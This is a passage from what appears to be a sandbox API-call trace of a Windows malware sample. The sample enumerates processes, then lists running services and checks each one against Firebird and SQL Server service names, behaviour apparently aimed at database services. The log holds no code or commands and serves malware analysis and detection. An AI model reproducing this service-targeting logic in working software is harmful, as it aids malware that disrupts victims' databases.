th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0058.002] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0058.002] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0058.003] lstrlenW (lpString="romandisclosure.exe") returned 19 [0058.003] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0058.004] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0058.004] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0058.004] lstrlenW (lpString="dllhost.exe") returned 11 [0058.004] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0058.005] lstrlenW (lpString="product.exe") returned 11 [0058.005] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0058.006] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0058.006] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0058.007] lstrlenW (lpString="basin.exe") returned 9 [0058.007] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0058.008] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0058.008] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0058.009] lstrlenW (lpString="tested housewives.exe") returned 21 [0058.009] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.009] lstrlenW (lpString="conhost.exe") returned 11 [0058.009] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.010] lstrlenW (lpString="conhost.exe") returned 11 [0058.010] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.011] lstrlenW (lpString="svchost.exe") returned 11 [0058.011] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0058.012] lstrlenW (lpString="wmxsde.exe") returned 10 [0058.012] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0058.013] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0058.013] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.014] lstrlenW (lpString="conhost.exe") returned 11 [0058.014] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.015] lstrlenW (lpString="cmd.exe") returned 7 [0058.015] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.016] lstrlenW (lpString="conhost.exe") returned 11 [0058.016] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.016] lstrlenW (lpString="svchost.exe") returned 11 [0058.017] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0058.017] CloseHandle (hObject=0x368) returned 1 [0058.017] Sleep (dwMilliseconds=0x1f4) [0059.089] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ded18 [0059.089] EnumServicesStatusExW (in: hSCManager=0x6ded18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0059.090] GetLastError () returned 0xea [0059.090] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1dba) returned 0x7010e0 [0059.090] EnumServicesStatusExW (in: hSCManager=0x6ded18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7010e0, cbBufSize=0x1dba, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7010e0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0059.091] CloseServiceHandle (hSCObject=0x6ded18) returned 1 [0059.091] lstrlenW (lpString="Appinfo") returned 7 [0059.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.091] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.091] lstrlenW (lpString="AppXSvc") returned 7 [0059.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0059.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0059.091] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0059.091] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0059.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0059.091] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.091] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.091] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.091] lstrlenW (lpString="Audiosrv") returned 8 [0059.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0059.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0059.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0059.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0059.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0059.092] lstrlenW (lpString="BFE") returned 3 [0059.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.092] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.092] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.092] lstrlenW (lpString="BITS") returned 4 [0059.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0059.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0059.092] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0059.092] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0059.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0059.092] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0059.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0059.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0059.092] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0059.092] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0059.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0059.092] lstrlenW (lpString="CDPSvc") returned 6 [0059.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0059.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0059.092] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0059.092] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0059.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0059.092] lstrlenW (lpString="ClickToRunSvc") returned 13 [0059.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0059.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0059.092] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0059.092] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0059.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0059.092] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0059.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0059.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0059.093] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0059.093] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0059.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0059.093] lstrlenW (lpString="CryptSvc") returned 8 [0059.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.093] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.093] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.093] lstrlenW (lpString="DcomLaunch") returned 10 [0059.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.093] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.093] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.093] lstrlenW (lpString="DeviceAssociationService") returned 24 [0059.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0059.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0059.093] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0059.093] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0059.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0059.093] lstrlenW (lpString="Dhcp") returned 4 [0059.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.093] lstrlenW (lpString="Dnscache") returned 8 [0059.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.094] lstrlenW (lpString="DoSvc") returned 5 [0059.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0059.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0059.094] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0059.094] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0059.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0059.094] lstrlenW (lpString="DPS") returned 3 [0059.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.094] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.094] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.094] lstrlenW (lpString="DusmSvc") returned 7 [0059.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0059.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0059.094] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0059.094] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0059.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0059.094] lstrlenW (lpString="EventLog") returned 8 [0059.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0059.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0059.094] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0059.094] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0059.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0059.094] lstrlenW (lpString="EventSystem") returned 11 [0059.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.094] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.094] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.094] lstrlenW (lpString="FontCache") returned 9 [0059.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0059.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0059.094] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0059.095] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0059.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0059.095] lstrlenW (lpString="gpsvc") returned 5 [0059.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.095] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.095] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.095] lstrlenW (lpString="iphlpsvc") returned 8 [0059.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.095] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.095] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.095] lstrlenW (lpString="KeyIso") returned 6 [0059.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0059.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0059.095] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0059.095] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0059.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0059.095] lstrlenW (lpString="LanmanServer") returned 12 [0059.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.095] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.095] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.095] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.095] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.095] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.095] lstrlenW (lpString="lfsvc") returned 5 [0059.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0059.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0059.096] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0059.096] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0059.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0059.096] lstrlenW (lpString="lmhosts") returned 7 [0059.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.096] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.096] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.096] lstrlenW (lpString="LSM") returned 3 [0059.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0059.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0059.096] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0059.096] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0059.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0059.096] lstrlenW (lpString="MapsBroker") returned 10 [0059.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0059.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0059.096] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0059.096] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0059.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0059.096] lstrlenW (lpString="MpsSvc") returned 6 [0059.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.096] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.096] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.096] lstrlenW (lpString="NcbService") returned 10 [0059.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0059.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0059.096] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0059.096] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0059.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0059.097] lstrlenW (lpString="netprofm") returned 8 [0059.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.097] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.097] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.097] lstrlenW (lpString="NgcSvc") returned 6 [0059.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0059.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0059.097] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0059.097] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0059.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0059.097] lstrlenW (lpString="NlaSvc") returned 6 [0059.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.097] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.097] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.097] lstrlenW (lpString="nsi") returned 3 [0059.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.097] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.097] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.097] lstrlenW (lpString="PcaSvc") returned 6 [0059.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.097] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.097] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.097] lstrlenW (lpString="PlugPlay") returned 8 [0059.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.098] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.098] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.098] lstrlenW (lpString="Power") returned 5 [0059.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.098] lstrcmpiW 